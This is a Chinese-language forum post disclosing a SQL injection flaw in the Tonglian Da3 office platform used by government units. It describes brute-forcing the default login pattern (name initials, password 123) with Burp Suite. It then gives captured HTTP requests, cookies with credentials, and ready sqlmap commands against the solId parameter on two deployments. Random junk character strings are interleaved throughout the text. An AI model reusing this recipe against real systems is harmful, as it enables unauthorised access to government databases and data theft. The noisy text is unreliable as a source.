同联Da3协同办公平台前台通用sql injection漏洞

admin

f5 ~+ m1 ?; b7 m7 E- C7 c

平台简介：

* X T4 F3 p3 W z% S   ; M/ v* N2 K; H/ @

7 `* E4 [8 M. f5 N% D7 i* `% ~

/ H2 _: v& i! W) U9 M J 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
- G3 w( l6 `- V+ R同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
$ W$ @9 ?& ?: [4 v h- U同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

8 z0 u* F5 m, W: h& a$ i9 m8 ~# }+ T: y   : f/ ^1 B; a/ v( S3 ]1 _; h8 ]

8 F3 X+ ~) a6 X8 p0 B9 R

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： ; V* `9 q* I4 ^

q5 _2 u+ z |4 Y9 f! n   4 K- m% j- x0 M4 v

- {( i7 e7 G7 ~* R2 Q$ `. D http://1.1.1.1:7197/cap-aco/#（案例2-）

2 C q5 ?1 I' s5 F$ D6 Y http://www.XXOO.com （案例1-官网网站）

+ w3 U6 W6 x7 }3 G; i: V6 O

  ! q [" g& w* @) e2 H& ^

+ }: _& i# @; A0 i5 G4 V5 n

( i, n7 g$ K! Y7 ?5 u 漏洞详情: 0 W& H( q0 Z4 p4 K" W0 p3 G

$ p& n0 P; J2 s( J8 u% Z; }) u

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 3 t N q% A$ O& j

7 w; m6 j! X, s3 s, S, P0 [      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

* b5 }/ F" f8 A' A

, }& K1 h. r0 t! B! v8 V, G  

  / @% m4 G5 B T( y& {+ Z

- F/ h7 u o2 {5 M9 g. M& b9 U2 ]% L

status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下： * i6 x; b t& a: [- I( f. I

9 ^$ P! _; ?2 R6 A9 ~! K 1、案例1-官方网站

1 P- k, T2 F1 x* `) R, u

$ R Y9 g: m$ ^" V7 L- w) U GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 ) {7 G0 O* ^1 r! ^

2 z3 |1 O5 {; c/ t0 h% S5 H Host: www.XXOO.com 4 p* M# \, U) P4 a o; @

Proxy-Connection: Keep-Alive ( n" `+ \) [+ J. r( l7 l

+ {! b( H% w @& @: p

Accept: application/json, text/javascript, */*; q=0.01

& o8 J: z T: `0 g Accept-Language: zh-CN " T/ U! E2 }2 G0 M2 T: ~2 g; y

+ D, n ?; x6 }7 x' w# N2 ] Content-Type: application/json - ]7 E9 f C5 ~, E

1 {' p1 D( A3 S

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko * Q% a0 E0 |2 t+ P; y, c) F

4 J, r% @+ j. B6 P1 F X-Requested-With: XMLHttpRequest

: R4 e% t+ M3 ^7 v2 ^" |

/ V5 ], u- J2 n Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 / D* U0 e# A( d& U4 n0 _+ a2 E

. {% s; n; ^- ], Z6 m2 j

% \3 [$ z$ S t7 Y+ p: H Accept-Encoding: gzip, deflate, sdch

Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e + c7 S! b3 |6 y( [7 @* d

, ~8 m* A. o/ D4 h' Y1 I 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

z! b1 _9 a" w! E6 [3 }6 o0 L2 `  

 

& O \- }& ~: G6 t+ n% k! f

  ! j& \8 Q! Z$ t; f

, ?$ o. g( x' ]- a9 z' J+ T) H  

! |1 O4 m5 s$ p3 A( c

  + H/ U0 _! U1 ] k" R/ Q: o

2 M1 v9 U4 L, u+ `1 F8 w0 q. d 2、案例2-某天河云平台

- p. V3 {2 `' z# K6 ~- @; }

GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1

& `$ b8 j H! [/ e* o) J; L Host: 1.1.1.:7197 0 b; Z% r) b/ Z

3 b7 p: _. L3 @( u, I! d

7 J9 j4 Q: E$ z" d0 e5 R Accept: application/json, text/javascript, */*; q=0.01 9 t+ S9 o4 k, Z7 r

- _, i, {! m: k4 u7 Z. j# n. e X-Requested-With: XMLHttpRequest

' }; x5 {' p! @* o1 o$ g+ E- M

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

Content-Type: application/json $ K) ?4 o+ F Z# J7 ?9 L+ m/ L

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 1 T. G& E; j: b$ W3 c0 U

: Q" C7 x' e7 E

Accept-Language: zh-CN,zh;q=0.8 & F3 z. P0 X4 @9 r

0 S( M$ {& G A9 ]0 ]! Z8 ~

Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1

" }6 j% M/ Z Z5 o0 a Connection: close

6 g8 n. e' S& o! u

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

( u( P9 E: |) I$ g  

6 y$ N" C# u3 _( g( Z% A) C; d

4 i5 B, l( T% h: G/ X
0 k6 a* V8 G$ T6 \